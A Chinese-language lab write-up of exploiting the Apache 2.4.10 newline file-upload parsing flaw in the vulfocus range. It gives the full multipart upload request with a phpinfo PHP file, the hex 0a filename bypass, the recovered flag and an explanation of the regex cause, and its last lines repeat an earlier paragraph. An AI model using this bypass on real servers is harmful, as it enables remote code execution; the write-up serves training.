用的是 vulfocus在线靶场
抓包发现是空页面
发现响应包内容
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 21:35:15 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.5.38
Content-Length: 0
Connection: close
Content-Type: text/html
存在apache解析漏洞 这里版本是 apache/2.4.10
可以绕过黑名单
构造POST响应包
POST / HTTP/1.1
Host: 123.58.224.8:33729
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="3.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"
3.php
-----------------------------9552222486401230933854482358--
发现文件上传失败
将文件名改成1.phpa 则上传成功 因此确定存在文件上传解析漏洞点
将hex编码中将 a的编码改成0a 上传文件成功
、
复现成功
flag-{bmh40f80a7c-89a6-4b05-9ff7-b86df273ffd3}
原理讲解
1.php不能上传
因为黑名单上有php
如果我们把名字改成phpa 就发现可以上传文件
但是我们就算上传成功phpa也没有用因为 phpa 无法解析成php文件
但是1.php%0a会被解析
因为
在php中有这个配置
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
只要满足这么一个正则匹配,就会告知Apache将这个满足匹配的文件按PHP文件来解析
但是不巧的是这里还有一个东西就是$这个东西,它是用来匹配字符串结尾位置的,而且如果设置了RegExp 对象(正则表达式)的 Multiline(/m) 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。
所以如果我们设置了RegExp 对象的 Multiline 属性(\m)的条件下,$还会匹配到字符串结尾的换行符(也就是%0a),于是也就产生了这么一个换行解析漏洞
上面的意思就是说0a也是会被匹配到的 即1.php%0a也是可以上传的
但是在post中 %0a 会被当做换行符 即上传后的文件
注意
这里有一点需要注意,我们不能直接在1.php文件名后面加上%0a,因为Get传参他是有URL的编码解码的,但是我们这里是POST传参
所以要在hex上改
如将1.phpa 中的a hex 61改成 0a 会变成 1.php 换行看不到
我们这个时候只要访问 ip:1.php%0a 就可以了
参考
https://www.freebuf.com/vuls/270633.html
POST传参
所以要在hex上改
如将1.phpa 中的a hex 61改成 0a 会变成 1.php 换行看不到
我们这个时候只要访问 ip:1.php%0a 就可以了
参考
https://www.freebuf.com/vuls/270633.html